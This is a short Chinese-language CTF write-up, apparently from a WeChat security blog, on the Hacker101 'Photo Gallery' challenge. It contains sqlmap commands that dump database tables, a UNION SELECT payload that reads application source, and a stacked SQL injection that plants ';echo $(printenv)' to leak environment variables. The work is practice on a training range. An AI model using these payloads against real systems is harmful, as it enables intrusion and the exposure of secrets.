前言:
HackerOne想要获得私人邀请,除了挖漏洞,还可以通过ctf达到一定的分数,也可以获得私人邀请,这里我记录了一部分的题目解图过程。
靶场地址:
https://ctf.hacker101.com/ctf
一、Photo Gallery
flag1
打开靶场的题目,本身是几张无用的图片,无法点开,但是我们通过查看图片的地址,可以观察到是一个id=1这种的
这样的话,就必须要sqlmap一把梭看看了
这里也是测试出来,但是应该是盲注进行的,速度很慢,可以使用提高线程的命令
这里跑的很慢,这里直接跑level5表,再跑photos列
sqlmap -u "https://4d133c0b6653da44c1706becd2dfd060.ctf.hacker101.com/fetch?id=1" -D level5 -T photos --columns --threads 10
然后跑出全部内容
sqlmap -u "https://4d133c0b6653da44c1706becd2dfd060.ctf.hacker101.com/fetch?id=1" -D level5 -T photos -C filename,id,parent,title --threads 10
得到flag1
flag2
这一题后面还有两个flag,网上的教学说main.py、uwsgi.ini这两个文件,可以从源码中找到第二个flag,但是这两个文件从何得知我不太清楚,方式就是
?id=4%20UNION%20SELECT%20%27main.py%27--
通过一个不存在的4,使用联合查询去查询到,最后得到
flag3
获得上面的代码之后,我们分析一下,当然也可以直接给gpt,这里他告诉我们
这个命令存在了一个命令注入的风险,这里的一个思路,是利用注入,将printenv写入到第三张图片中,但是不理解为什么这么做,这里直接给解题方式吧
https://xxxxxxxxx.ctf.hacker101.com/fetch?id=3; UPDATE photos SET filename=";echo $(printenv)" WHERE id=3; commit;
通过这种方式将参数写入3的页面中
但是我测试不成功,没有整体理解,作为一个题目,属于脑经急转弯型了
总结
这整个题目属于一环一环,有一些关联,基于后面两个flag有点迷迷糊,重点思路还是第一个注入,图片是点不开的,还是需要在前端中找到线索,ctf的题目首要还是看html,谁能想到图片中会有id=,那不纯纯可以上传图片马执行了么,所以ctf题目的本质还是考察你的灵活应变,实际实战中,这种类型的错误很少很少。
原文始发于微信公众号(白安全组):HackerOne私人邀请CTF杂记
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论